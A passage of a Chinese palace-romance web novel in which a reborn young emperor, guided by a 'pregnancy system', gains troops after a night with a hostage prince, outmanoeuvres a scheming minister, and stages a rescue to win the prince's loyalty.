嘭——梁苒撞开路寝殿大门冲进去,反手掩住大殿门,殿中空无一人,唯独他一个,梁苒这才狠狠松了口气,膝盖不争气的发软,双腿也颤抖的厉害,险些滑坐在地上。
梁苒将自己扔在软榻上,实在太疲惫了,连一个手指头尖儿都抬不起来,昏昏然再次陷入沉睡之中。
梦中,赵悲雪像一头野狼,沾染了荤腥的野狼,不停的侵占不停的掠夺着梁苒,不知何时,那头小野狼突然变成了大野狼,是十三年后的赵悲雪,高大、冷峻、阴鸷,却满含温柔的凝视着他,爱惜的喃喃轻唤:阿苒,阿苒……
叮——
梁苒是被噩梦惊醒的,耳畔听到一声清脆的提示音,猛地睁开双目,纤细的手掌按着剧烈跳动的心窍,深深的吐息。
果然是做梦,且是噩梦,不然梦中的赵悲雪,他上辈子的死敌,为何会如此温柔亲昵的唤着自己。
【恭喜完成2.2.0任务:与赵悲雪发生一夜情】
【2级奖励:兵马20万】
“二十万……”梁苒还是不甚相信:“二十万兵马,便这般轻易的得到了?”
说轻易,其实也不算太轻易,毕竟那档子事儿,起初疼痛的厉害,后来……梁苒摇了摇头,将那些有的没的从脑海中滚出去。
他很奇怪,系统到底要怎么将这二十万兵马交给自己。不过梁苒现在没空细想,他方才太过疲累睡了过去,此时才感觉衣
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衫粘腻难受,甚至还有什么东西从梁苒难以启齿的地方缓缓流出,梁苒抿了抿嘴唇,黑着脸吩咐沐浴。
“君上!”是苏木的嗓音,从殿外响起。
梁苒正好沐浴完毕,已然擦拭干净,套上雪白的内袍,朗声道:“何事?进来罢。”
苏木匆匆迈入大殿,没想到梁苒刚好在沐浴,虽已沐浴完毕,但梁苒只着里衣,单薄的衣料勾勒着梁苒纤细而婀娜的身条,他瘦削却不是干瘦,反而瘦得恰到好处,透露出一股矜贵而柔弱的美感,毫无攻击性。
苏木一愣,故作老成的脸面明显僵硬,赶紧垂下头,拱手道:“君上,大事不好了!”
梁苒挑眉:“怎么了,能叫你如此慌慌张张的。”
苏木沙哑的说:“大宗伯带人在太极殿门口请命,言说兴建学宫劳民伤财,民间怨声载道,以百姓刚刚遭受战乱的洗礼,没有人力兴建土木为借口,要求君上召开廷议!”
朝议和廷议是两种参议的方式。不同的是,朝议便是通常意义上的上朝,文武百官站在一起商议国家大事;而廷议,顾名思义,是在廷中商议,比朝议的规模要小一些,只邀请一些重要的,或者与事情相关的臣子来商议。
大宗伯要求廷议,简直是司马昭之心路人皆知。他在朝廷中党羽众多,但也不缺乏政敌,倘或召开朝议,或多或少会有人与他唱反调,召开廷议则不然,大宗伯邀请的都是自己的爪牙与部员,到时候廷议的风向绝对一边倒,梁苒也只有被碾压蹂躏的份儿了。
“哼,”梁苒冷笑一声:“这个大宗伯,还是只有这些小伎俩。”
苏木奇怪的看着梁苒,不知为何,总觉得君上的话很费解。
梁苒吩咐说:“摆驾,寡人要回大梁宫。”
“是!”
车辇停在萧山离宫门口,梁苒不着痕迹的咬紧牙关,忍耐着丝丝刺痛,登上车舆的脚踏子,矮身进入辒辌车中。
“等等!”
有人高声大喊,从离宫中快步追出,他冲出来的模样像一头野兽。
苏木立刻反应,嗤抽出佩剑,拦住那人——是赵悲雪!
赵悲雪形色匆忙,他的衣衫前襟撕碎了,领口松松垮垮,露出一小截皮肤,一条暧昧的抓痕若隐若现的藏在其下,唇角的地方还有一块尚未愈合的伤疤,狼狈又旖旎。
赵悲雪站在辒辌车之下,手中紧紧抓着一只雪白的丝绢帕子,那是昨日他珍藏起来的手帕,手帕的一角沾染上已经干涸的污渍。
“昨夜……”赵悲雪沙哑的开口:“是你么?”
咯噔!
梁苒心口狂跳,面色却十足冷静,毕竟他做过十三年的皇帝,可不是初出茅庐的青瓜蛋子,平静的开口:“昨夜?什么事情?寡人不知你在说什么。”
赵悲雪蹙了蹙眉心,他并没有追问,而是说:“你要回大梁宫?我想……跟着你。”
梁苒的唇角化开一丝愉悦的微笑,充满报复性的嫣然。
赵悲雪的身子,寡人已然用过,暂时便不需要了。
收回清冷的视线,梁苒再没有施舍给赵悲雪一点眼神,仿佛没有听到赵悲雪的“哀求”,冷漠的将辒辌车的车帘子放下,淡淡的说:“起驾。”
7. 怀孕
下雪了。
和上辈子平治十三年的大雪,一模一样。
鹅毛一般的雪片子扑簌簌从天而降,更像是冻到冰点的泪痕,覆盖这灰沉沉的天际,沧桑又萧条。
咕噜噜——
象征大梁天子尊荣华贵的仙鹤展翅辒辌车,八马良驹拉着车,一点点消失在大雪纷飞的山路上。
赵悲雪站立在空旷的离宫大门口,遥遥的望着那渐去渐远的车队,眼神里的希冀已经全部磨灭,又恢复了一片晦暗。
像一只被主人抛弃的野狗。
他慢慢垂下手,手里是那方雪白柔软,却沾染了丝丝污迹的丝绢帕子……
*
从萧山离宫,到上京大梁宫,梁苒的心情一直不错,赵悲雪那一副可怜又晦暗的模样,着实取悦了他,叫梁苒打心窍里生出一股报复的快感。
辒辌车慢慢停下,车外传来苏木的声音:“君上,入宫了。”
除了苏木的嗓音,干冷的空气中隐约夹杂着呜呜的哭声,如丧考妣,悲戚痛苦。
哗啦——梁苒亲自打起车帘子,步下辒辌车。
没有了厚重车帘的遮掩,那哭声更是真切,一声叠着一声的传过来。
“呜呜呜呜——大宗伯,您要给小臣们做主啊!”
“伯爷!伯爷您救救小臣们啊!”
“小臣们一心为伯爷养犬,怎知……怎知竟然遭到了这般的无妄之灾啊!!”
“呜呜呜……伯爷,小臣们可是您的人,这打狗还要看主人呢!”
梁苒放眼望去,朝议大殿门口,聚拢着十来个臣子,果然如同苏木所说,以大宗伯为首,全都是他的亲信,知情的晓得他们是在朝议大殿门前奏本,不知情的,还以为要聚众逼宫呢!
大宗伯身边还跪伏着几个小臣,也便是太监,那几个内监颇为眼熟,梁苒一眼便认了出来,可不是昨儿个才叫苏木抓起来,关进笼子里的犬人么?
犬人便是宫中负责养狗的人,萧山离宫后面有一大片猎场,猎犬是必不可少的,自然少不得养狗的犬人。
看起来这几个犬人内监是大宗伯的人,比梁苒入京的动作还快,这会子竟然抱着大宗伯的腿哭诉,来了一个恶人先告状。
梁苒冷笑一声,将眼底的厌恶尽数收敛,闲庭信步的走过去。
“嗬——!!”几个犬人看到梁苒,登时夸张的倒抽一口冷气,从他们的表情来看,明显是回忆起了昨日梁苒的狠辣手腕。
不只是狠辣,而且刁钻,竟将活生生的人关在犬笼之中。
“大宗伯……”几个犬人声泪俱下,刚要继续告状。
梁苒先发制人,纤细双手合十,轻轻抚掌,明明心里厌恶的厉害,面上却笑颜盈盈,他如今正是十七八岁的年纪,青涩又懵懂的姿仪简直随手拈来。
梁苒笑起来,天真烂漫的说:“是你们?诶,你们怎么从笼子里跑出来了?”
转头又对大宗伯说:“大宗伯见多识广,必然见过很多关在笼子里的犬,但大宗伯绝对没见过关在笼子里的人,可有趣儿了,昨儿个寡人将他们关在笼子里,这会子怎么跑出来了?真是的,寡人还没顽够呢!”
几个犬人被梁苒说的一愣一愣,虽都是把人关在笼子里,可昨日梁苒的态度,全然不是这般嬉笑温和,那一张美艳的脸蛋,充斥着清冷与威严,不容任何人违逆?而今日,梁苒分明是一个少年天子,耽于顽乐,难成大器。
顽?大宗伯眼珠子转了转,质疑的问:“君上将他们关进笼子,是因为……玩?”
“自是了。”梁苒笑起来反诘:“不然呢?还能因为什么?只可惜……唉,他们如今都出来了。”
大宗伯昏黄的老眼转得更快,顽好啊,天子一心顽乐,朝政便是自己的了!
“无妨!”大宗伯被梁苒哄得一愣一愣,大手一挥,慷慨的说:“既然君上喜欢,便将他们重新关回笼中,不过几个犬人尔尔,那又值得什么?只要君上欢心便是了。”
“大宗伯?!”
“伯爷?!”
犬人不敢置信,大宗伯一句话,轻飘飘的便把他们卖给了心狠手辣的小天子!
梁苒的笑容扩大了,露出一脸恰到好处的惊喜:“当真?果然大宗伯最为懂得寡人的心思!不愧是我大梁的巨擘,我大梁的扛鼎之臣呢。”
“君上谬赞了。”大宗伯沾沾自喜,还不知自己被年轻的新君三言两语给糊弄了。
梁苒挥了挥手,垂眼吩咐苏木:“还不快把这几个犬人带回去,重新关入笼中。”
“是。”苏木应声。
犬人惊恐满面,不停筛糠,这会子知晓求大宗伯没用了,连声叩头:“君上饶命啊!小臣再也不敢了!再也不敢了!”
梁苒一笑,微微俯下身与那犬人平齐,笑容温和又美艳,用只有两个人可以听到的声音,幽幽的说:“寡人说过了,你们的下半辈子只能在笼中活过,寡人……说到做到。”
苏木上前,将几个犬人拖拽离开。
梁苒直起纤细的身子,转过头来面向大宗伯,笑眯眯的说:“是了,大宗伯今日前来,不知所谓何事?”
方才的哀嚎,不过是小小的插曲,终于说到点子上。
梁苒并着大宗伯,还有“逼宫”的群臣进入朝议大殿,大宗伯自来熟的坐下来,根本不需要梁苒恩赐。
大宗伯好似入了自家庭院,歇了歇脚,这才说:“君上有所不知,是关于……兴建学宫之事。”
“哦?”梁苒一脸懵懂:“兴建学宫,可是大宗伯亲自盖印批准的,大宗伯向来是我朝楷模,一言九鼎,想必……不会出尔反尔的反悔罢?”
大宗伯脸色僵硬,被梁苒说对了,他就是想要反悔。
“哈哈、哈哈……”大宗伯僵硬的干笑,说:“君上其实是、是这样的……老臣打心底里也想兴建行宫,让那些贫民学子、寒门学子也能入宫求学,只是……只是君上,唉——”
大宗伯深深的叹了口气:“我大梁与北赵纷争十年,这十年无论是人力还是财力,全都大大耗损,如今国库中的帑银,还有武库中的金铁,实在……实在是不够使唤啊!还有还有……”
大宗伯的借口还挺多,继续说:“还有便是人力,修建学宫是需要劳力的罢?司空署还在营建不少建筑,这劳力一时也不够用,哪里去支取这么多劳力?若是君上执意修建学宫,必然要从民间征讨人丁,君上堪堪即位,还未坐稳龙椅,难道便不怕百姓……怨声载道么?”
威胁,这分明是大宗伯的威胁!
身边的羣臣立刻老鸪一般应和:“是啊是啊!”
“大宗伯所言极是!”
“君上三思啊,学宫不能修!”
梁苒险些被他们气笑,什么银钱不够使,什么劳力不够用,全都是借口。大宗伯只是怕梁苒利用寒门学宫,培养自己的势力,他想要梁苒一辈子无知,一辈子无能,一辈子做他的提倡傀儡!
梁苒笑起来,好奇的发问:“大宗伯,那如果寡人有法子,不需要支取司空署一人一丁的劳力呢?”
大宗伯一愣,显然在思考,司空署是负责营建的府署,想要修建各种建筑,都是从司空署走流程,批劳力的,不用司空署的劳力,那用什么人来修建学宫?
难不成是天兵天将么?
“哈哈哈哈!”大宗伯笑起来,被梁苒的天真无邪逗笑了,心里不屑,嘴上便没有把门儿,慷慨的说:“倘或君上能自行解决劳力,不耗费司空署的人丁,也不从民间征召苦力,百姓没有怨言,朝廷没有负担,那自然是再好不过的!这是好事儿啊,老臣必然也是赞成的!赞成的!”
大宗伯越说越是不屑,看看你一个年纪轻轻的奶娃娃能有什么本事儿?难不成自己一砖一瓦的修建学宫么?
而梁苒的心中想的是,如果系统颁布的任务2奖励是真的,二十万兵马,播出一点点来,绝对足够修建学宫了。
“报!”
“其乐融融”的廷议被打断,苏木从外面阔步走进来。
“大胆!”大宗伯呵斥:“廷议肃静,岂容你一个小小的虎贲喧哗?”
苏木面色冷漠,只是看了一眼大宗伯,拱手道:“君上,臣有要事启奏,十万火急!”
一说到十万火急,那必然是战事。
大宗伯心惊胆战:“怎么回事?北赵又打来了?他们不是停战了么?还把那个天扫星皇子送到咱们这里做人质?那个天扫星叫……叫什么来着?赵……赵……”
臣子应和说:“伯爷,是赵悲雪。”
苏木抬起头来,他的眼神中迸发出光芒,那是一种难以掩藏的少年锐气。
“启禀君上,”苏木的嗓音铿锵有力,足够震慑太极殿中的每一个臣子:“菰泽国君带领举国百姓投奔大梁,愿意奉上二十万菰泽铁骑,从此归顺大梁,顿首称臣!”
二十万兵马,数量对上了……
梁苒心头狠狠一震,系统的第二个任务奖励……成真了。
“怎么回事?!”大宗伯豁朗站起身来,仓促间撞翻了三足凭几,瞪眼大喊:“菰泽?菰泽怎么回事?为什么无缘无故的归顺?还要奉上二十万大军?这……这其中一定有诈!”
苏木解
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释说,其实北赵与大梁突然停战这一年,一点子也没有消停,他们自知再与大梁打下去,必然是两败俱伤,谁也讨不到好处,所以便表面上与大梁停战,其实偷偷的攻打了菰泽国。
菰泽是一个中等国家,一直以来在大梁和北赵之间夹缝生存,精通冶炼和匠造技艺,他们打造出来的兵器,是天底下最坚硬锋利的兵器,他们建造出来的宫殿,是天底下最精美的宫殿。
北赵想抢夺菰泽的粮食,充盈自己的国库,想俘虏菰泽的兵马,变成自己的军备,想利用菰泽的冶炼技艺,强大自己的国力,休养生息之后,一举屯兵大梁。
菰泽国君带领民众奋力抵抗,但是根本不敌北赵的侵略,若是硬碰硬,最后只得落得灭国的下场,于是菰泽太子为君父出了一个主意——与其眼睁睁看着百姓死于北赵的铁蹄之下,不如投奔与北赵世代为仇的大梁,虽颜面不好看,但也能保住菰泽的百姓。
菰泽的二十万精锐,菰泽的冶炼技术,菰泽的匠造技艺,这都是北赵梦寐以求的,如今梁苒不费一兵一卒,不费吹灰之力,竟亲自送上门来。
梁苒笑起来:“大宗伯,你说用菰泽的二十万精锐修建学宫,够不够呢?”
大宗伯回答不上来,因为太够了!刚才便不该夸下海口。
“嗬……嗬……”大宗伯张了张嘴,嗓子里发出咯痰的声音,好像鼓灶的风声,黏稠得拉不开栓,他的眼目剧烈晃动,昏黄的眼球一翻,竟然当场气晕了过去。
“伯、伯爷!”
“大宗伯!”
“大宗伯晕倒了!”
身边的爪牙党羽叫唤起来,扑腾着官袖,一个个手忙脚乱,犹如沸腾的油腥,热锅上打转儿的蚂蚁。
梁苒的嗓音带着笑意,笑意却不达眼底,没什么诚意的说:“大宗伯怎么晕倒了?大宗伯没事罢?这可如何是好?必然是年岁大了,别是中了风邪。”
他故意问苏木:“那菰泽归顺的事情怎么办?使团该由谁来接待?这等大事儿,本该是大宗伯亲力亲为的,如今大宗伯病成这样,叫寡人于心何忍?”
苏木回答说:“君上仁宥,体谅大宗伯。”
“是啊,”梁苒无奈的深深叹了一口气:“这样罢,也只有寡人亲自接待菰泽国君了。”
苏木回答说:“君上英明!”
臣子们面面相觑,恨不能把大宗伯立刻摇醒,可偏偏大宗伯昏迷的结结实实,二十万兵马,眼睁睁落在了年轻天子的袖中!
梁苒挥手道:“快,还等什么?没看大宗伯还昏迷着,让医官署精心救治,用最名贵的药材,抬走罢。”
大宗伯昏迷,他的爪牙没了主心骨儿,只好忍气吞声的将如山一般肥胖的大宗伯合力抬出太极殿。
“呵呵……”梁苒笑起来:“有趣儿。”
苏木拱手说:“恭喜君上,得到二十万菰泽大军!”
梁苒刚要说些什么,唇瓣突然颤抖,精巧的喉结急促滚动,一股没来由的反胃感涌上,连忙用手压住胸口。
这种感觉,难道是……
“君上?”苏木奇怪:“君上可是龙体抱恙?臣去宣医官前来。”
“不必了。”梁苒制止了苏木,说:“只是一路奔波,有些许乏了,苏木你先下去罢。”
苏木没有违逆,还是说:“君上保重龙体。”
苏木退出朝议大殿,梁苒立刻轻轻一拨右手的血红扳指。
叮——
系统面板弹出,梁苒说:“寡人为何会觉得反胃恶心,难道……”
难道真的怀孕了?
到目前为止,任务1的奖励兴建学宫,和任务2的奖励二十万兵马,全部实现了,所以梁苒不得不相信,这个系统是真的,千真万确……
那么怀孕?虽昨夜才与赵悲雪发生了干系,按理来说不会这么快有反应,但系统说过,生子系统可以缩短孕期,或许说不定就是这么快?
【温馨提示:系统正在为您查询“是否怀孕”,请稍后……】
叮——
【温馨提示:宿主您没有怀孕】
“没有?”梁苒惊讶:“那寡人为何会反胃?”
【温馨提示:宿主您身体羸弱+脾胃不调+偶感风寒=普通感冒】
纤细的手指揉了揉额角,梁苒无奈的说:“你不是说,寡人与赵悲雪发生干系,怀孕的可能极大么?”
严谨的来说,怀孕的几率高达是99.9999999%。
【温馨提示:宿主您是幸运的0.00000001%】
梁苒:“……”不中用的赵悲雪。
8. 狠狠欺负
叮——
【请宿主完成3级任务,获得升级奖励】
【3级奖励:国库千万万钱】
梁苒还沉浸在0.000001%的幸运中,系统突然弹跳出新的升级奖励。
你说它不是宏图霸业系统,可偏偏系统颁布的奖励,分明便是一个国君梦寐以求的,无论是兴建学宫,还士兵,或者库银,这都是梁苒眼下十足需要,十足迫切的。
然,你说它是宏图霸业系统,系统又总蹦出一些奇奇怪怪,不着边际,天方夜谭的任务,证实着,它的的确确是一个生、子、系、统。
便比如说现在,系统颁布了最新的任务。
【3.1.0任务:成功怀孕】
手肘支在龙座的扶手上,梁苒轻轻揉着额角,深深的叹了一口气。
国库千万万钱……
这又是梁苒无法抵抗的诱惑。一千万万钱在大梁相当于多少呢?在大梁之内是允许捐官的,因着这十年来战乱纷飞,国库的银钱早就使了大半,险些入不敷出,所以捐官的条件也放松了不少,便是想要减少国库压力。
上到太尉,下到地方小官,只要有银钱,再通过一点点小小的考核,便可以捐官。三公之一的太尉,便是太极殿上朝都要站在最前排,捐官下来需要一千万钱。
系统给予的三级奖励,可是一千万万钱,比捐一个太尉,还要多出一个万字!
梁苒心头的冰雪在融化,有了这笔钱,寡人不止可以兴修学宫,在各地州府广建学堂,还可以提早做好预防大旱、洪涝的准备错失,巩固长城防御,扩充军队实力。
换句话说,只要有了钱,寡人便可以不像上辈子那样拮据抠唆,看人脸色,受人摆布,体体面面的做一个大梁天子!
梁苒美艳的脸孔慢慢扬起兴奋的笑容,只是这笑容还没抵达眼底,倏然卡住。
早知晓这样,便不该把赵悲雪着急抛弃掉,昨儿个还以为用过了赵悲雪,至少有一段时间不需要再见到这个上辈子的死敌,因而干脆把他狠狠的甩掉,狠狠的抛弃,哪只如今还要捡回来……
梁苒深吸了一口气,吩咐说:“摆驾,寡人要去萧山离宫。”
*
萧山离宫。
雪停了。
下了一整日的鹅毛大雪,终于慢慢止住,只是萧山的半空还笼罩着一层灰败的阴暗,阴云久久也不得散去。
赵悲雪穿着那身昨日梁苒送给他的衣裳,衣衫的领子豁开了,这会子小心的用针线缝上,那针脚走线异常的精美别致,是赵悲雪一针一线自己补上的。
赵悲雪从小生活在北赵皇宫之中,因着没有母族的仰仗,活得还不如一条猎犬,无论是吃穿还是衣物,都需要他自己去解决,久而久之,别管是体力活计,还是针线活计,或者灶台上的活计,赵悲雪都会一些。
赵悲雪手中拿着一只秃了毛的笤帚,兀立在大雪堆积的庭院之中,眼神淡淡的,好似一直迷路、丢失了主人的弃犬,对这个世上再无生的依恋。
唰——唰——唰——
一下一下的清扫着地面的积雪。
“快看。”几个内监从他身边路过。
“就是他。”
“昨儿个还与新君用膳呢。”
“不知用了什么妖法,一个北赵的蛮夷,竟然还能勾搭新君用膳?”
“呿,那能有什么?新君走的时候,还不是没有带上他,瞧他那个死样儿!”
几个内监都是萧山离宫中的老人儿,但他们一年到头也见不到天子一面,他们的口气酸涩的厉害,其实是嫉妒赵悲雪能与新君用膳,而自己没有这个机会罢了。
内监走过去,“嘭!”一脚踹在堆雪上,故意将赵悲雪扫起来的雪踹得满处都是。
“哈哈哈!快走快走!”
几个内监耍了小手段,立刻调头便跑,一路冲出院落。
“嗬——”不等他们笑罢,登时狠狠倒抽一口冷气,眼眶瞪得老大,险些将眼珠子吐出去。
院落门口,一墙之隔的地方,分明站着一个十七八岁,年轻挺拔,清冷而美艳的玄衣男子,他的面貌并不吓人,甚至可以说十足勾人,总是带着一股淡淡的矜贵之感,让人心生向往,又害怕亵渎。
而那人的身份,足以让几个内监腿肚子转筋。
——是梁苒!
梁苒笑盈盈的看着那几个内监,一句话也不说。
咕咚!内监齐刷刷跪在地上,颤抖叩头:“君上饶命,君上饶命!小臣们……没、没有欺辱赵皇子,只是……只是与赵皇子开个顽、顽顽顽笑!”
“哦?”梁苒轻飘飘的反诘:“是么?”
萧山离宫的宫人们谁不知晓,昨儿个欺辱了赵悲雪的几个内监,被新君三言两语的关进了笼子里,当狗一样养着,便是跑去找大宗伯告状,还是被乖乖的用笼子抬了回来。
内监们以为梁苒今儿个一早走了,便不会再回来,这才仗着胆子小小的欺负一下,哪知这么寸,梁苒便回来了!
“君上饶……饶命啊……”
梁苒一脸温和,笑着说:“别怕,寡人只是想请你们……帮个忙。”
内监们筛糠一般颤抖的抬起头来,迷惑的看向梁苒。
梁苒的笑容慢慢扩大,嗓音无比和善的说:“寡人要你们……狠狠的欺负赵悲雪。”
赵悲雪淡淡的看了一眼被踢散的积雪,并没有生气,冷漠的脸上甚至没有浮现任何波澜,唰、唰、唰继续开始打扫积雪,将白雪一点点归拢在一起,仿佛归拢了这些散落的雪花,他自己便会找到一个新的归宿一般。
踏、踏踏、踏……
跫音去而复返,果然是刚才那几个内监,他们脸色苍白,步履悬浮,走起路来还打哆嗦,不知是不是天气太冷了,总之古怪的紧。
几个内监互相推搪,深深吸气,似乎在做极大的准备,终于磕磕绊绊的爆发了。
“你……你怎么扫、扫扫扫雪的!这里这么滑,让人怎么走路啊!”
内监说完,故意找茬的将积雪一踹,又踹的到处都是。
赵悲雪还是没有太大的反应,只是抬起眼皮,淡淡的撩了那几个人一眼,然后继续低头扫雪。
内监们又是互相推搪,壮着胆子上手去推赵悲雪:“跟你说话呢!凭什么不理人?你以为这是哪里?这可不是你们北赵,果然是蛮蛮、蛮夷,不懂规矩,上不得台面!”
哗啦……
一声轻微的响动,赵悲雪被他们狠狠一推,有什么东西飘悠悠从怀中落了下来,好像一片柔软的云朵,悄无声息落在皑皑白雪之中。
手帕!
是梁苒送给赵悲雪的手帕。
赵悲雪的眼神终于发生了变化,黑色的眸子猛地一聚,伸手去抓手帕。
“诶!”内监们终于发现了赵悲雪的“弱点”,抢先一脚踩过去,直接将干净的帕子踩在鞋子下面。
“什么东西!”
“手帕?”
“哈哈哈这么香?怕不是哪个宫女送的罢?”
“这可是私通的证物!”
内监说着,使劲捻了捻鞋底儿,柔软洁净的帕子登时被踩上了污迹,异常刺目。
“你们看他!哈哈,生气了?还生气了?”
“就他,一个北赵送来的质子,凭他也配生……”气。
不等内监嘲笑完,嘭——巨响,赵悲雪突然从一只安静的野狗,变成了一头凶狠的野狼。
死气沉沉的双目眯起,仿佛反顾的狼目,露出阴冷的三白,深邃的眉心下压,双手攥拳,手臂肌肉隆起,脖颈上滚动着一条一条的青筋,倏然冲过来,一把将内监掀翻在地,磐石一般的
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拳头狠狠砸在脸上。
“啊!!”内监惨叫,嘶声力竭。
“救命……救命——拦住他!”
“救我啊!”
“哎呦!别打了!别、别打了!!”
梁苒吩咐内监们欺负赵悲雪,自己才好犹如天神降世一般英雄救美,他在院落外面观察了一会子,很快便听到了惊慌的呼救声。
可惜,呼救之人并非是赵悲雪。
“这帮废物。”梁苒无奈的摇头,抬步走入院落。
雪白的雪,血红的血。
白皑皑的积雪上,零零星星的散落着内监的血迹,不知是鼻血,还是打破口角流下的血迹,总之血糊糊的蒙了满脸。
赵悲雪像一头狂躁的野狼,像一头疯狂的野狗,狠狠钳住猎物,双眼赤红充血,嗜杀的情绪吞没了厌世的淡漠,更像是一把出鞘的宝剑,锋芒毕露!
梁苒的心头突然跳动起来,又是那种血液逆流的感觉,有一种想法在心窍中沸腾。
倘或……
倘或寡人将这只弃犬收为己用,让他从此与北赵对立,只为寡人一个人卖命,那么赵悲雪将是一把锋利的刀,为寡人开疆、扩土。
梁苒清冷的眼眸微微一转,瞬间染上了关切的颜色,趋步小跑上前,满面焦急的大喊:“赵悲雪!赵悲雪?”
他跑过去,扶住失控的赵悲雪,赵悲雪险些打到梁苒,瞪眼一看,狠戾阴霾的情绪瞬间化开,一双三白狼眼竟变成了小狗眼,湿漉漉红彤彤的盯着梁苒。
“你……”赵悲雪沙哑的喃喃开口:“你回来了?”
梁苒心中冷笑,是啊,寡人回来了,为了怀上你的孩子。
无论他心中如何冰冷,眼神却始终关切温柔,梁苒轻柔的捧着赵悲雪的手掌:“你流血了?他们欺辱你了?”
那血迹自然是内监的,梁苒心里一清二楚,但话还是要这般说的。
赵悲雪先是惊讶,然后惊喜,连忙局促的蹭了蹭自己的拳头,似乎是怕血迹玷污了梁苒,摇头说:“我、我没事。”
“还说没事?”梁苒回头冷嗤:“便是你们欺辱赵皇子?全都拖下去。”
“君上饶命啊!饶命啊——”
几个内监被虎贲军拖走,嘴里虽然喊着饶命,但一个个满脸都是庆幸,幸好君上及时出现,否则必然会被赵悲雪那头疯狗生生打死!
梁苒拉住赵悲雪的手说:“来,快与寡人去处理伤口。”
赵悲雪没有动弹,仿佛一只木桩立在原地,只是说:“所以你不是……不要我了?”
梁苒本以为昨夜必定怀孕,暂时都不想再见到赵悲雪了,哪想到事与愿违,他有必须见到赵悲雪的理由。
“怎么会呢?”梁苒微微蹙眉,那张矜贵柔弱的脸庞,露出浓浓的挂怀与担心,说:“寡人今早临时有朝议,必须立刻赶回大梁宫,十万火急,因而没能与你说清楚,你怎会有这样的误会?”
赵悲雪深深的看着他,也不知是不是信了。
梁苒继续说:“如今寡人处理完政务,也顾不得这天色暗了,便马不停蹄的赶回来,怎可能是不要你了?”
“这说起来……”梁苒笑了,笑容有些感慨,充满了回忆,是对上辈子的回忆。
“不知为何,寡人与你一见如故,这兴许……便是上辈子的缘分罢。”
是啊,缘分,血海深仇的孽缘罢了!
梁苒轻轻握着赵悲雪宽大的手掌,白皙纤细的手指与赵悲雪宽阔生满茧子的手指形成了鲜明的对比,轻声问:“你愿意与寡人回大梁宫,跟在寡人身边么?”
赵悲雪的眼目猛地睁大,不知是狗眼,还是狼眼,或者是虎目,凛然有神,死死盯住梁苒,使劲点头:“愿意!我愿意。”
梁苒轻轻抚摸着赵悲雪的面颊,爱怜的说:“真乖。”好狗。
9. 隐疾
象征着天子尊贵的辒辌车,粼粼从萧山离宫驶出。
这一次,辒辌车上不仅仅坐着大梁的年轻天子梁苒,还有另外一个人——那便是赵悲雪。
梁苒清晨从离宫赶回大梁宫,处理完廷议之后,马不停蹄的折返回离宫,如今再一次从离宫赶回大梁宫,天色已然灰沉沉的发暗,这一天实在充实,竟在来回的奔波中即将流逝。
辒辌车缓缓停下,骑奴驾士恭敬的打起车帘子,苏木拔身而立,站在辒辌车之畔迎候。
“拜见君上!”苏木拱手作礼。
“苏木啊。”梁苒看到他,微微一笑。
因着赶回离宫太过匆忙,梁苒都没有知会苏木一声。
苏木蹙起眉头,一脸严肃,担心的说:“君上摆驾离宫,合该叫上臣扈行才是……”
他压低了声音,又说:“如今君上堪堪即位,大宗伯的党羽又虎视眈眈,这一路从上京到萧山,虽路途并不遥远,却山势险阻,唯恐出现什么意外,有臣在身边,也可以拼力保护君上一二。”
梁苒又笑起来,说:“无妨的,大宗伯不是晕倒了么?他的那些爪牙,去送药献媚还来不及呢。”
苏木还是一脸的不赞同,梁苒知晓,自己这个发小就是爱操心的性子,还有些小小的古板,因着比梁苒稍微大一点,从小便爱说教。
不过苏木是真心对梁苒好,这一点子梁苒也知晓。
梁苒打断了苏木的担心,故意抛出一个疑问转移他的注意力,说:“让你去看着大宗伯府,那面儿如何了?”
梁苒果然是了解苏木的,一下子便调走了苏木的主意,回话说:“大宗伯还在昏迷之中,听医官署的医正回禀,的确是因着年纪大,中了风邪。如今大宗伯府的门槛儿,都快被那些党羽踏平了,等着给大宗伯孝敬侍疾的人,从大宗伯府一直排到了上京城的南城门。”
“哼……”梁苒轻笑一声,说:“他们倒是孝顺。”
苏木恭敬的说:“臣扶君上下车。”
坐了一天的辎车,即使是冬暖夏凉,铺着柔软毯子的辒辌车,梁苒那柔弱的身子也是吃不消的,更何况,昨儿个晚上,梁苒才与赵悲雪“春宵一夜”,又是梁苒这两辈子,头一次做那档子事儿,难免受了伤。
经过一路的颠簸,梁苒要强,什么都不愿意多说,也不愿意表现出来,全都自己忍着,其实他的身子已然酸软疲乏的厉害,正好想找个人扶着自己下车。
梁苒伸出手,刚要将自己的手掌放在苏木的掌心之中。
啪!
一声脆响,一只大手突然从辒辌车中伸出来,抢先一步,毫不客气的拍掉苏木的手掌,没有让苏木碰到梁苒。
嗤——
苏木瞬间反应,快速引剑出鞘,呵斥说:“何人?”
辒辌车中竟还有人,一个身材高挺,肩膀宽阔的年轻人从里面纵身跃下。
是北赵四皇子,如今的质子——赵悲雪!
赵悲雪下了车,一双三白的狼目,狠狠压着眉心,凉丝丝的凝视着苏木,眼神里尽是戒备,然后回过身,伸出手,握住梁苒的手,将他小心翼翼的扶下辒辌车。
苏木的眼中划过一丝诧异,君上十万火急的赶回萧山离宫,难道……竟是为了将这个质子接回来?
赵悲雪瞪着苏木,苏木也瞪着赵悲雪,二人都没说话,但是眼神仿佛凛冽的冬风,让隆冬天气本就寒冷窝风的大梁宫,更加霜寒地冻。
梁苒挑眉说:“苏木,你给赵皇子安排一间小殿,寡人记得东面的明朗殿还空着,便让赵皇子搬过去住罢。”
苏木虽有不解,还是拱手说:“是。”
赵悲雪不说话,往梁苒的方向迈了一步,紧紧等跟着梁苒,好像一只……跟屁虫。
梁苒笑说:“你跟着寡人做什么?去明朗殿歇息罢,以后你便住在宫里头,不必再回萧山了。”
赵悲雪还是跟着梁苒,寸步不离,微微将头垂低,好像一只可怜的大型犬,沙哑的说:“我想……跟着你。”
梁苒今日看起来很好说话,像是一个亲和温顺的年轻君王,说:“既是如此,也罢了,你便跟着寡人回紫宸殿罢,一会子让宫人将紫宸殿的东室拾掇出来,你便歇在东室,如何?”
赵悲雪还没来得及点头,苏木已然抢先:“君上,这万万不可!紫宸殿乃是天子路寝,尊贵无比,怎能让北赵的质子留在东室歇息?这实在不妥!”
天子路寝,便是天子燕歇的地方,平日处理公务,或者召见亲信的臣子,也会将人叫到路寝。紫宸殿便是路寝,平日里梁苒歇在紫宸殿最北面的太室,太室是最尊贵的屋室。至于东室,顾名思义,在太室的东面,几乎是比邻的存在。
把一个北赵的质子,安排在同一屋檐之下,这不说合不合规矩,实在太危险了!
无异于……与狼共室。
梁苒却说:“苏木,安排便是了。”
